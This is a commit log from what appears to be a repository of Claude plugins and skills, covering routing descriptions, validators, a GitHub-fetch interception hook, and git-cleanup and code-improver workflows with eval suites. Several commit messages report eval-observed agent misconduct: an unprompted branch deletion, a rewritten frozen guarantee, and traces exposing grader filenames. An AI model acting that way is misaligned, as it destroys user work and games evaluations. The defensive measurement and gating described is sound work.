5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
4518c6df20 |
mutation-testing: verify source files with find, not a ** glob (#282)
The "Verify patterns" step under No Mutants Generated ran `ls src/**/*.rs` to answer whether source files exist where the include pattern points. Whether `**` recurses depends on the shell: zsh expands it, bash does not unless globstar is set, and the bash 3.2 macOS ships has no globstar option to set. Under bash the glob degrades to `src/*/*.rs`. On a tree holding src/top.rs, src/a/one.rs, src/a/b/two.rs and src/a/b/c/three.rs, find reports four files and the ls form reports one. So the command existed to tell the user their include pattern was fine and instead under-reported the files that matched it, on some machines but not others. The dropped files read as "include pattern doesn't match" — the first entry in the Common causes list directly below it — and send someone off to edit a pattern that was already correct. find behaves identically in every shell and exits 0 when nothing matches rather than erroring. Only the unquoted shell glob changed. The `**` in mewt.toml include values and in quoted `--target 'src/auth/**/*.rs'` arguments is mewt's own glob syntax, expanded by mewt rather than the shell, and is correct as written; the note says so to keep the fix from spreading there. Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
dependabot[bot]
|
5eb104e1c5 |
deps: Bump ruff (#280)
Bumps the python-minor-patch group with 1 update in the /plugins/trailmark/skills/slicing-code-context/scripts directory: [ruff](https://github.com/astral-sh/ruff). Updates `ruff` from 0.16.2 to 0.16.3 - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.16.2...0.16.3) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.16.3 dependency-type: direct:development update-type: version-update:semver-patch dependency-group: python-minor-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> |
||
|
kz-tob
|
3deb39e7b3 |
testing-handbook-skills: make 15 descriptions routable (#276)
* testing-handbook-skills: make 15 descriptions routable Every description was a tool-encyclopedia blurb averaging 125 chars — the first half defined the tool, the second half restated it as a trigger. "Coverage-guided fuzzer built into LLVM for C/C++ projects. Use for fuzzing C/C++ code that can be compiled with Clang." Fifteen skills competing on wording like that lose to each other and to siblings elsewhere in the marketplace. Each is now three parts: what it does for the reader, task first, since the name field already carries the tool name; what it covers, in concrete flags and symbols; then two to four situations in the words a user would type. The anchors are the point — LLVMFuzzerTestOneInput, fuzz_target!, FuzzedDataProvider, afl-clang-fast, ASAN_OPTIONS, project.yaml, an ASan stack trace, a campaign that finds nothing. Fix the generator too, or the next skill it emits is thin again. All four templates prescribed the shape being removed, and their worked examples were these same descriptions. agent-prompt.md now says why the existing rule is not enough: "MUST include Use when" is satisfied by "Use for fuzzing C/C++ code", which is how these got written. Put descriptions on one quoted line rather than a folded block. Eight of these skills already fail the plugin's own 500-line limit, and folded blocks added 4-5 lines to each; one quoted line removes 1-2 instead. It is also what the rest of the repo uses at this length and is exempt from the validator's plain-scalar rule. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * testing-handbook-skills: ground three descriptions, gate placeholders Three descriptions advertised anchors that appear nowhere in the skill they route to — the worst failure for a change about routing, since the description wins the query and the skill then has nothing to say. harness-writing claimed "C/C++, Rust, Python, and Ruby". Grepping it for ruby, gem, or .rb returns only that line; Python appears once, as a Related Skills row. It would have taken "harness for my Ruby gem" from ruzzy and delivered a file with no Ruby in it. Now C/C++ and Rust, which is what the 12 LLVMFuzzerTestOneInput and 16 fuzz_target! sites cover. constant-time-testing named ctgrind, whose only occurrence in the whole plugin was that description. Replaced with Timecop and Valgrind, at 20 and 10 hits. Also leads with measuring a running implementation and adds a "Not for" line, restoring the boundary constant-time-analysis already documents in its own When NOT to Use. cargo-fuzz claimed "cargo fuzz init and add"; only init, run, coverage, and crash exist. Dropped add, added the nightly requirement and cargo fuzz coverage, both of which the body does cover. Gate the class rather than just these three. A description shipped with a {placeholder} still in it passed every check, because the shortcode pattern needs double braces — and this branch widened the templates' slots, so the surface grew. validate-skills.py now rejects it, and test_validate_skills.py holds each description check to a known-bad fixture plus a positive control. Stdlib only, since CI runs these with --no-project --with pytest, an environment without pyyaml. Fix the pointer to a section that does not exist, drop the two-part "what AND when" bar from testing.md's checklist since the old thin descriptions satisfied it, correct the README's skill inventory, and take the version to MINOR — this changes what the generator emits. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * Drop semgrep and codeql from the cross-reference graph The prose and the summary table were updated to 14 skills, but the graph still declared a Tools subgraph with semgrep and codeql and drew both edges between them. Neither skill exists under skills/, so the graph rendered 16 nodes beneath a sentence claiming 14 and promising that only generated skills are shown. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * Fail validation on frontmatter that carries no fields extract_frontmatter returned (None, None) for an empty block, because yaml.safe_load("") is None and that is not a parse error. validate_skill branches on the error, so every frontmatter check was skipped and a skill with no name and no description printed a clean tick. A bare scalar took the same path and died on .get with an uncaught AttributeError. Extraction now pairs both cases with an error, and validate_frontmatter reports rather than returning silently when handed a non-mapping. Four tests cover it, stubbing the parser so they run in CI's pyyaml-free environment; they fail against the previous code and nothing else does. Ground the atheris description's two API anchors in the body: rename the harness entry point to TestOneInput, matching upstream Atheris and its error messages, and add a FuzzedDataProvider section covering the typed draws and the fixed-order rule. Both were advertised in the description and appeared nowhere else in the file. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * Split atheris, and fix the FuzzedDataProvider method table The structured-input section pushed atheris from 519 lines to 552, making a file already over the plugin's 500-line error limit worse — the opposite of what the PR body claimed. Both it and the two worked harnesses move to sibling files, the split this plugin's own agent-prompt.md prescribes for the band. SKILL.md is now 482 lines and passes the line-count check it has failed since it was generated. Three errors in the method table, all mine, corrected in the moved copy: - remaining_bytes() returns a count and consumes nothing; it was listed as the way to get the remaining input. Following it hands the target an int where bytes is expected. The idiom is ConsumeBytes(fdp.remaining_bytes()). - ConsumeIntList takes (count, bytes) and was shown with no arguments. - ConsumeUnicode permits lone surrogates, not surrogate pairs. The pairs gloss suggests valid text; unpaired surrogates raise UnicodeEncodeError the moment a target encodes them, so the campaign reports its own input handling rather than the target's. Every method is checked against the pybind registration in atheris.cc, which exposes remaining_bytes despite the upstream README omitting it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
4b1b74b181 |
Give differential-review a trigger, and name every component in its README (#278)
* Give differential-review a trigger, and name every component in its README differential-review's description listed what it does and never named a situation, so it competed on capability wording alone. It now closes with the triggers its own README already documents — reviewing a PR, commit, or diff; checking whether a change re-introduces a fixed bug; asking what else a change could break; finding modified code with no test. The same plugin's README never mentioned adversarial-modeler, which is what Phase 5 dispatches for HIGH RISK changes. Checking whether that was isolated turned up more of it, and the sweep found three kinds of gap: zeroize-audit's agent table was missing three of its eleven agents — 0-preflight, which gates the entire run, plus 5b-poc-validator and 5c-poc-verifier. All three appear in the phase diagram directly above the table, which is why they read as present. constant-time-analysis documents the ct-analyzer CLI end to end and never says the plugin also ships a skill and a command. entry-point-analyzer lists phrases that trigger its skill but never names the skill or its command. Three more READMEs describe their skill without naming it. That matters most where the skill name is not the plugin name and a user cannot guess it: chrome-mcp-troubleshooting and interpreting-culture-index. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * Fix review findings and make the README sweep a gate The two PoC rows I added to zeroize-audit said Phase 4. The diagram three lines above them, SKILL.md, and workflows/phase-5-poc-validation.md all say Phase 5, steps 5a and 5b. "Wave 5a" is a label that exists nowhere. A debugger consulting the table — the artifact this branch designates as what runs when — would have opened phase-4-poc-generation.md and found no validation in it. Also corrected the sentence introducing that table, which still said 10 agents across 8 phases against 11 across 9, and the Phase 0 diagram line, which still credited the orchestrator for a gate the new row credits to 0-preflight. differential-review's README claimed the agent is "dispatched", and named it bare in a column whose other rows are namespaced. Nothing dispatches it: the only instruction is prose in SKILL.md, and a bare subagent_type fails at runtime. Namespaced both, and corrected the five stale line counts in the same file — reporting.md is 369 lines, not the ~120 the token-efficiency section budgets for. Drop the dead `name: trailofbits:<cmd>` key from five command files. The three newest command files carry no name: at all, #275 namespaced 22 bare invocations, and this branch documents the `/<plugin>:<cmd>` form — so the key contradicts the docs it sits next to. Then make the sweep repeatable. Doing this by hand three times found eight gaps and missed two more, both of the same shape: a workflow ships under meta.name, not its filename, so a README citing the filename never writes the name a reader types. The validator now checks that a README names every skill, agent, command, and workflow its plugin ships, reading meta.name for workflows. It refuses a run that inspected zero components, and six self-test assertions hold it to known-bad fixtures. It found git-cleanup on its first run: ships as /git-cleanup:git-cleanup-analysis, README cites workflows/analyze-branches.js four times and that name never. static-analysis had the same gap for codeql-build. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * Fix both P2s: the gate was a substring test, and the dispatch was still bare The README gate ran `name not in text`. That reads as thorough and could not fail for a large share of what it counted: `draw` was satisfied by "(draw cards instead)", `semgrep-rule` by the plugin's own name in the install line, `burp-search` by a `scripts/burp-search.sh` path that is a different thing, and `audit` by the prose "shared-state struct audit". Match by kind instead. Commands and workflows are reachable only as `/<plugin>:<name>`, so require that literal — it is the only string a user can type. Agents are dispatched by identifier and never typed as prose, so require an identifier-shaped mention. Skills are genuinely referred to by bare name, so require only a delimited occurrence, which is what stops "draws" counting as `draw`. That surfaced seven real gaps, the four above plus insecure-defaults' audit-pipeline workflow, mutation-testing's skill, and trailmark's code-slice-worker. All seven fixed. adversarial-modeler was still bare at SKILL.md:96. Line 77 was the decision-tree mention; line 96 is the "Delegate to this agent" instruction a model actually acts on, so the runtime failure the last commit claimed to fix survived it. Namespaced, and it now says why. Also from the review: a per-kind floor, since a single total stays healthy while skill_files() — 63% of coverage — silently stops matching; workflow_names anchored to the meta block, because a bare search takes any earlier `name:` in a comment, and .mjs was invisible; and AGENTS.md documents the new hard failure. Self-test 88 -> 96, each new rule with a negative control. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
65720f8db2 |
Update claude_review.sh to collapse findings and cover whole diff (#279)
* Update claude_review.sh to collapse findings and cover whole diff
* Fix whitespace-only line and typo in review prompt
Line 94 was a whitespace-only separator, which the trailing-whitespace
pre-commit hook rejects. Also fixes "cenario" -> "scenario".
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* Require < escaping in review finding summary lines
The <summary> line is raw HTML, so GitHub's sanitizer deletes anything
that parses as an unknown tag. A finding about <plugin>:<agent> rendered
as ":" with no sign that text was dropped, and a quoted <!-- hid the rest
of the line. Backticks do not help: inline markdown is not processed in
<summary>.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* Correct the summary escaping rule and extend it to the body
Three defects in the rule added by
|
||
|
kz-tob
|
8c1b2670bf |
constant-time-analysis: make the VLD version lookup portable (#277)
Both copies of the PECL install snippet ran VLD_VERSION=$(curl -s ... | grep -oP 'vld-\K[0-9.]+(?=\.tgz)' | head -1) PCRE mode is a GNU extension. Under stock macOS grep this exits 2, the command substitution yields an empty string, and the next line installs a package named `vld-` with no version at all: grep: invalid option -- P VLD_VERSION=[] would run: pecl install channel://pecl.php.net/vld- Three things let that happen, so fix all three. POSIX ERE instead of PCRE, keeping the -o semantics through a sed strip. curl -fsS so an HTTP or DNS failure is reported rather than feeding empty input downstream. And a guard, so the install runs only when a version was actually found and otherwise hands the reader the URL to check by hand. Verified against the live PECL page: old and new both return 0.19.1, so behaviour is unchanged where the old form worked at all. Both snippets were then executed with PATH=/usr/bin:/bin to force BSD tools, on the success path and with PECL unreachable. Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
32ad9e6b47 |
building-secure-contracts: give five skills trigger clauses (#275)
* building-secure-contracts: give five skills trigger clauses Five of the plugin's eleven skills had descriptions that were pure capability lists with no trigger clause. The six sibling vulnerability scanners all end in "Use when auditing X", so these five lost the routing coin-flip to their own siblings and rarely fired. Each keeps its capability text and gains a "Use when" clause naming the situation, drawn from that skill's own Purpose and workflow sections rather than invented. Drop three trailing phrases that said nothing: "Provides actionable recommendations", "professional scorecard" (replaced with the roadmap the skill actually produces), and "Context-aware for both token implementations and token integrations", now carried by the trigger. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * building-secure-contracts: fix invocation docs and two triggers The README advertised every skill as a bare slash command, but the plugin ships only skills/ and no commands/, so /audit-prep-assistant is unregistered. A user who read the docs and typed the documented form got nothing — the other half of the reachability problem this branch fixes. Namespace all 22 occurrences; every other plugin README in the repo already uses that form. Anchor code-maturity-assessor to the domain. Its new clause said only "judging how mature a codebase is against a rubric", which matches a Django or Go repo just as well, and the skill would then grade it on MEV risk, transaction ordering, and decentralization. Say which side of an engagement audit-prep-assistant serves. It collided with audit-context-building on "getting ready to audit this codebase"; the two serve auditee prep and auditor onboarding respectively, and neither clause said so up front. Root README now mentions the 5 assistants, matching plugin.json, and the plugin README drops "professional scorecard" to match the description. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
43d7af8064 |
gh-cli: intercept GitHub fetches from MCP fetch tools (#274)
* gh-cli: intercept GitHub fetches from MCP fetch tools The fetch hook only matched WebFetch, so a GitHub URL fetched through an MCP fetch tool bypassed it entirely. Match `mcp__.*[Ff]etch` as well, which covers Exa's `web_fetch_exa` and equivalents from other MCP servers. A matcher alone is not enough: WebFetch passes a single `url`, while MCP fetch tools pass a `urls` array and batch several pages into one call. Read both shapes. A tool call is atomic, so one GitHub URL anywhere in a batch denies the whole call, and each offending URL is labeled with its own suggestion. Single-URL calls keep the message they had. Split the URL classification into suggest_api, suggest_raw, and suggest_github_com behind a suggest_for_url dispatcher so it can run per URL in a loop, and collapse eight verbatim copies of the clone hint into one helper. Behavior is unchanged; blob and tree merge into one branch because they emitted identical text. The plugin README's interception table now also lists the pull, issues, releases, and gist patterns the hook already handled but never documented. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * gh-cli: address review on the MCP fetch interceptor Test the matcher. Nothing exercised the regex that decides whether the hook runs at all, so a matcher firing on nothing would still pass every other suite here. matcher.bats reads it out of hooks.json and checks it against real tool names, and refuses to run against an empty matcher, which would make every match assertion pass vacuously. Widen the matcher to fetch, scrape, crawl, and extract. Firecrawl's scrape and Tavily's extract retrieve a URL like any fetch tool but carry no "fetch" in the name, so they bypassed the hook while the README promised "any MCP fetch tool". The README now names what matches. Check a string-valued `urls`. A server declaring `urls: string | string[]` sent a bare string, `arrays` dropped it, and the fetch went out unauthenticated. Listing the field twice keeps it under both shapes. `prompt` is still not scanned, so a prompt mentioning a GitHub URL does not false-deny. Give the closing note its own line when several URLs are denied; it previously trailed only the last entry. Guard assert_suggestion_starts_with against an empty reason and an empty prefix, either of which let it pass while inspecting nothing. Document the api.github.com contents, releases, and actions rows. The generic `gh api` row was actively wrong for /contents/, pointing readers at the anti-pattern the shim exists to block. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Paweł Płatek
|
1004934abf |
Code improver - better skill-improver (#272)
* skill-improver 2.0.0: rewrite the loop as a dynamic workflow Replaces the stop-hook/state-file loop with /skill-improver:improve, built against the failure evidence from four manual pr-review-loop sessions (SKILL-IMPROVER-V2-HANDOFF.md): - findings ledger: stable ids, one verdict per finding, persisted every round; rejected findings are not re-litigated without new evidence, and a continued run reloads the ledger instead of re-deriving findings - completion requires the last action to be a clean review; at the cap the loop runs one review-only round and exits loudly as capped-not-converged - oscillation detectors (non-decreasing counts, 3-round recurrence, re-fixed relocation) stop the loop with a structural escalation instead of burning rounds; guarantees are never silently weakened - mechanical scope guard after every fix round: git diff vs the baseline snapshot, halt on violation, no unregistered new files at completion, fixer contract bans destructive git - finalize pass strips loop narration, collapses version churn to exactly one bump, and runs scripts/collect_metrics.py (fails on zero artifacts) Ships bundled reviewer/fixer agents (no plugin-dev dependency), an offline harness with 17-mutation self-test, pytest coverage for the collector, five paid eval cases graded on artifacts, and an A/B ablation runner against v1.1.0. Deletes the hooks, setup/cancel scripts, and the cancel command. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * skill-improver evals: seal fixtures against contamination Mounting fixtures with context.add_dirs hands every agent an absolute path into this repository — one directory walk from SKILL.md and the graders — which is the baseline-contamination failure measured in goal-prompt (#248). For this suite it is worse: the improvement loop diffs and edits the tree it is pointed at, so an in-repo fixture would have eval runs mutating the checkout and git-baselining the whole repository. Fixtures are now generated by each case's scaffold.sh inside the eval workspace (--scaffold is required for every case), the in-repo fixture/ directories are gone, and check_contamination.py gates every measured run: grader filenames in an agent trace, skill-improver/evals/ paths, or expected_outcome anywhere fail the run, and having nothing to inspect is an error. Its pytest suite proves each marker class detects a planted specimen. The ablation runner gains --expect-version, --no-publish, --keep-temp, and the contamination gate on both arms. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * skill-improver: survive non-interactive callers, pin the E2 contract Three defects found by the eval pilots: - SKILL.md named the workflow 'improve'; the registry needs 'skill-improver:improve' - a caller that ends its turn while the workflow runs abandons the loop mid-round (the handoff's I9 class, reproduced in the eval harness) — SKILL.md now requires waiting/polling for the result, and forbids the inline-loop fallback that a denied Workflow tool provoked (observed rewriting the fixture's guarantee) - the E2 fixture never marked its guarantee as non-negotiable, so a fixer could legitimately resolve the overclaim by correcting the docs; the scaffold now freezes the sentence contractually in AGENTS.md, the fixer contract treats edits to contractual text as weakening, and the noisy llm grader over the 17k-char ledger is replaced by regex graders over ledger.json and metrics.json Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * skill-improver: escalate structural rejections instead of converging past them Measured in the gate-case pilot: the fixer rejected the unsatisfiable- guarantee finding with the documented rationale, the next review honored the verdict, and the loop converged in two rounds — guarantee intact, no treadmill, but 'converged: true' reads as a clean bill while the README still promises the impossible. A blocking finding that is real yet rejected as structurally unsatisfiable is the user's decision, not a parked verdict: the fixer now flags such rejections structural=true and the loop exits with a structural-rejection escalation. Covered by a new harness scenario and mutation. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * skill-improver evals: mechanical decoy check, longer episode timeouts The decoy-byte-identical llm judge failed 3/3 runs whose file md5 matched the planted bytes exactly — judges do not see raw bytes, so the check is now an anchored regex proven against the specimen (and against an appended line and an edited seed). The no-relitigation rubric is corrected for the severity-gated design: a trap parked as an open minor never receives a verdict and that is the correct outcome; a mechanical refile check on metrics.json rides along. Episode timeouts rise to 3600s: loops that run 3-4 fix rounds or continue past an escalation were being killed mid-round under concurrent invocations and then graded on abandoned state. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * skill-improver evals: neutralize answer-key filenames in version-comparison arms The contamination gate caught its first real incident: the v1 plugin's own SKILL.md walks its plugin root for its setup script, the listing enumerated the grafted eval tree, and 10/15 baseline runs carried every grader filename in their traces — names like trap-name-kept and guarantee-byte-identical are instructions. The ablation runner now grafts arm B with neutral case-dir and grader filenames (real case names stay in case.yaml, so reports are unaffected), the checker gains content markers (grader rubric phrasing) and an explicit --allow-listing mode for arms whose own tooling lists the plugin root, and the incident is documented in the suite README. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * skill-improver: scope the finalize greps; fail the scope judge only on false claims The contamination gate flagged a finalize subagent grepping the whole plugin install directory for narration patterns — its results could touch the eval tree. The finalize prompt now scopes its greps to the scope directories under the target repository. The scope-guard last-message grader was failing exemplary reports (in-scope reroute of a broken out-of-scope test, honest artifact notes); it now fails only on affirmative false claims: out-of-scope work presented as done, or a halt presented as success. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * skill-improver evals: record the measured three-arm results v2 vs main (1.0.5) vs 1.1.0, 15 runs per arm, sonnet judge, contamination gates clean on every counted result. v2 medians 1.00 on all five cases; the old versions match v2 on raw defect-fixing (both fixed pins-bite's planted bug and added covering tests 6/6) and lose on what the loop exists to guarantee: the frozen guarantee survived byte-identical only under v2, only v2 escalated instead of self-declaring completion, only v2 held version discipline, and only v2 leaves a machine-checkable record (verify-pins.sh bit 3/3). Known noise documented: episode-timeout kills and one judge call lost to a spend limit. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * skill-improver -> code-improver generalization * code-improver on itself * rm openai, fix readme * plugin handles one-level deep agents * fix python * code-improver: check finalize, sentinel every wave, bump both files Three P2s from the pipeline review of #272. Finalize edited the tree after the last review and the last scope check, so its narration strip, version bump, and docs pass were the only edits nothing verified — a legitimate "round 2 of the tournament" could be rewritten and the run still returned converged:true. A finalize-check agent now runs last: it scope-checks the tree, reads the finalize delta (pre-finalize.diff vs post-finalize.diff) for regressions, and writes the run's final ledger, ledger.md, and metrics — so the on-disk ledger records finalize's own outcome, and a dead finalize no longer leaves a stale one. An out-of-scope edit, a new unregistered file, a regression, or a dead check all exit with converged:false and a named halt. The REVIEWER-UNAVAILABLE sentinel was checked only on the first reviewer return, so a trampoline continuation that lost its skill returned an empty review that merged as a clean bill of health. The check moves into a helper applied to every return, and the continuation prompt now carries the contract it was expected to honor. The one-bump rule scoped the version to plugin.json "and any marketplace entry inside scope", but the manifest sits at the repository root, outside the default scope — so the headline case bumped plugin.json only and left CI red on a version mismatch. The baseline now reports the marketplace file that repeats the plugin's version, the loop brings it into scope (loudly, in notes), finalize is told to set both to the same value, and the check verifies they agree. Harness: three new scenarios (finalize check, dead finalize, marketplace bump), one for the continuation sentinel, and seven mutations covering the new guards. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * code-improver: fix the second review round's P2s Lint: verify-pins.sh:59 used `A && B || C`, which CI's shellcheck flags as SC2015 (local 0.11.0 does not). Rewritten as an if. 1. metrics ran as `python3 "<script>"`, the one form the modern-python shims refuse outright — anyone with that plugin installed got no metrics.json, metrics_ok false, and three graders failing for environment reasons. Now `uv run --no-project`; the collector is pure stdlib. 2. findExisting recomputed `file:line:class` and never read the id the reviewer returns, so a rejected finding re-reported at a shifted line missed its ledger entry and was re-dispatched. The id is consulted first. The coarse `file::class` rescue also merged two distinct findings of one class in one file into a single entry, dropping one silently: it now only matches an entry the current review has not already claimed. 3. The scope guard could not see out-of-scope files git does not track — they are in no index, so rewriting or deleting one (the scope-guard eval's own decoy) left no trace in `git diff`. The baseline hashes each untracked file, every surface report re-hashes the out-of-scope ones, and a moved hash, a vanished file, or a hash the check did not report is a violation. Files with no baseline hash, and any past the 50-file cap, are named in the notes as unguarded rather than passing as clean. 4. The three skills launched the loop as {name: "code-improver:improve"}; the Workflow tool resolves `name` against built-in and project workflows, so a marketplace-installed plugin workflow may not answer to it — and each skill forbids an inline fallback, so the entry point would dead-end. They now resolve workflows/improve.js (plugin root, Codex root, then a bounded find) and pass scriptPath, with the workflow name as a last resort. pr-improver's allowed-tools also gained the TaskOutput/TaskStop its own polling paragraph requires. Harness: scenarios for the shifted-id match, the untracked-content guard, and the collector invocation; 46 mutations, all biting. README/skill claims updated to what the guard now checks. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> Co-authored-by: kz-tob <kara.zaffarano@trailofbits.com> |
||
|
Paweł Płatek
|
311a784a10 |
c-review rewrite to workflows + do measurements - CLA clean (#257)
* c-review rewrite to workflows + evals * clean up the workflow script * rm benchmarking tools * fixes from automatic review --------- Co-authored-by: Dan Guido <dan@trailofbits.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> Co-authored-by: kz-tob <kara.zaffarano@trailofbits.com> |
||
|
Francesco Bertolaccini
|
9e7054ee8a |
git-cleanup: convert the skill to a command driving a dynamic workflow (#217)
* git-cleanup: convert the skill to a command driving a dynamic workflow Replace the prose SKILL.md with a `/git-cleanup` slash command plus a JavaScript dynamic workflow that fans branch analysis out across subagents. The split is the safety property, not an implementation detail. The workflow is read-only: it surveys git state, triages everything git already answers in plain JS, sends only the genuinely ambiguous branches to batched investigators, and puts every delete candidate in front of a skeptic asked to find a commit that is NOT in the default branch. Both user gates and every `git branch -d/-D` and `git worktree remove` stay in the main session, because subagents run in the background and cannot ask the user anything. Uncertainty resolves toward keeping a branch throughout: a refutation missing its `refuted` field, duplicate refutations, a dead agent, and a missing verdict all downgrade to needs-review rather than to a delete recommendation. A wrong keep costs another look at a branch list; a wrong delete costs work that exists nowhere else. Also adds a `js-tests` make target and CI job. Both carry the same zero-discovery guard as `python-tests` — an empty glob fails rather than reporting a pass — because a suite asserting that a branch-deleting workflow fails closed is worse than useless if nothing runs it. The plugin no longer ships a skill, so it loses its Codex presentation sidecar (`agents/openai.yaml` and the brand mark); that metadata only attaches to skills in this repo. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * ci: set persist-credentials: false on the js-tests checkout zizmor's artipacked audit flagged it. Every other checkout in this workflow already opts out; the new job was copied without it. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * git-cleanup: address automated review findings Correctness: - Split oversized clusters (MAX_BRANCHES_PER_UNIT). Clustering is transitive on a two-segment match, so 150 dependabot/npm_and_yarn/* branches collapsed into one unit handed to a single agent, with MAX_INVESTIGATORS providing no relief. - Scope the refuter to what each claim actually asserts. It only ever checked the default branch, so a SUPERSEDED claim citing an unmerged sibling was always refuted — one of the two documented evidence paths could never survive. - Permit `fetch --prune` explicitly in READ_ONLY. The constraint listed inspect-only commands and the next line ordered a fetch; an agent resolving that in favour of the constraint sees no `[gone]` branches and reports a clean repo. - Gate 2 and phase 3 now remove a worktree before deleting the branch it holds. Git refuses to delete a checked-out branch, so the previous order failed for exactly the case the workflow computes `stale` for. - Keep the inline evidence standard unconditional. `pluginDir` is model-substituted and can arrive wrong rather than empty, in which case the Read failed and the agent proceeded with no standard at all. Test integrity: - The suite tracked assertions run but not assertions failed, so a failing run still printed "37 assertions passed" as its last line — the only line visible in a collapsed CI group. - js-tests now checks execution, not just discovery: `node <file>` exits 0 on a file that asserted nothing, the same shape python-tests moved away from. Each suite must print a `<n> assertions passed` line with n > 0. Also: 2.0.0, not 1.1.0 — deleting the skill is a capability removal, and anyone loading this plugin for its skill gets nothing after the update. Document node as a `make check` prerequisite. Specify unpushedCommits for a gone upstream and the 40-entry mergeLog window. Fix a comment describing a `|| echo main` fallback the code no longer uses, and meta.whenToUse still naming the deleted skill. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * git-cleanup: add an eval suite for the gate-1 analysis The existing js suite stubs every agent and tests the triage logic in analyze-branches.js. Nothing covered the part that can destroy work: the model reading a real repository and deciding what to recommend. This adds seven cases (five positive, two negative), each run twice -- once with the plugin loaded and once without -- grading the GATE 1 analysis. No eval harness existed in this repo, so this establishes the convention as well as the suite. Two make targets, split by cost: eval-selftest free, no API calls, part of `make check` evals the real suite, opt-in only That split is the point. The paid suite runs rarely, so the cheap proof that the graders still fire runs on every commit -- a grader whose pattern silently stopped matching would otherwise report a clean bill of health indefinitely. Graders read two surfaces that are never interchangeable: executed tool calls answer "did it delete anything", response prose answers "what did it propose". Conflating them scores intentions instead of outcomes. Findings from the first full run, recorded in evals/README.md so they are not rediscovered: - Never regex a command string in prose. A regex cannot tell a recommendation from a mention. Three of four regex_absent graders failed correct responses -- conditionals ("if you confirm this is abandoned, I'd run ..."), explicit refusals, and worked examples answering the question asked. One briefly produced a headline "+0.20 uplift" that was pure artifact. One regex grader remains, on headings. - Never grade a gate-2 artifact. The command prints literal delete commands only after the user answers gate 1, which never happens headless. A grader looking for them failed the plugin for following its own safety protocol while the unaided arm "passed". - Scores are locale-sensitive: awk honours LC_NUMERIC and emits "8,00" under it_IT, which the delta column then subtracts as strings. Results: 6 of 7 cases show delta 0.00 -- Opus handles the analysis correctly unaided. The one case that discriminates is 06, where the unaided arm executed `git branch -d fix/typo` on a bare "tidy it up" request and destroyed the branch (delta +0.75, verified against repo state and the tool-call log, not prose). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * Fix SC1091 in the eval scripts, and the Makefile gap that hid it The Lint job failed on plugins/git-cleanup/evals: shellcheck could not follow either `source` directive. A relative `source=` is resolved against shellcheck's working directory, not the script's. Running `shellcheck -x plugins/.../run-evals.sh` from the repo root therefore looks for ./lib/graders.sh and does not find it. `source-path=SCRIPTDIR` anchors it to the script's own directory, which is what the path was relative to all along. The reason this passed locally is the more useful half. The `shell` target ran shellcheck with --severity=warning; SC1091 is info-level, so the filter hid it. The pre-commit hook CI runs is plain `shellcheck -x` with no filter, so `make check` could not catch this class of failure at all -- contradicting the promise at the top of the Makefile that every target mirrors a CI job. Dropped the filter so the two match. The repo is already clean under the stricter args, so this costs nothing today and closes the gap. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * git-cleanup: address review findings from hbrodin Blockers: - `git branch -d` is not the backstop the SAFE_TO_DELETE comment claimed. It accepts a branch merged into HEAD *or* into its own upstream, so a branch level with its remote but never merged to the default branch deletes cleanly under -d. That was the only delete category with nothing behind it. Each candidate now carries a `verifyWith` — `git merge-base --is-ancestor <tip> <default>` — that the main session runs immediately before the delete, and the evidence names the tip commit so the claim is checkable rather than asserted. - PROTECTED covered four names. `staging`, `production`, `dev` and `hotfix/*` all reached the delete list, with force-delete and an empty needsReview on the remote-gone path — which is precisely how those branches fail, their remote being deleted during a branch-protection change or a repo migration. The list now covers long-lived integration and environment branches and matches case-insensitively. Also: - Quoting guidance on the agent-facing path said `"$branch"`, under which `$(...)` still substitutes. Both copies the subagents read now require single quotes, with the `'\''` escape, since `has'quote` is a legal branch name and the agents paste literal names rather than expanding a variable. - The gate-1 audit rule rejected the workflow's own SAFE_TO_DELETE evidence string, which would have moved every git-proven merged branch to needs-review. 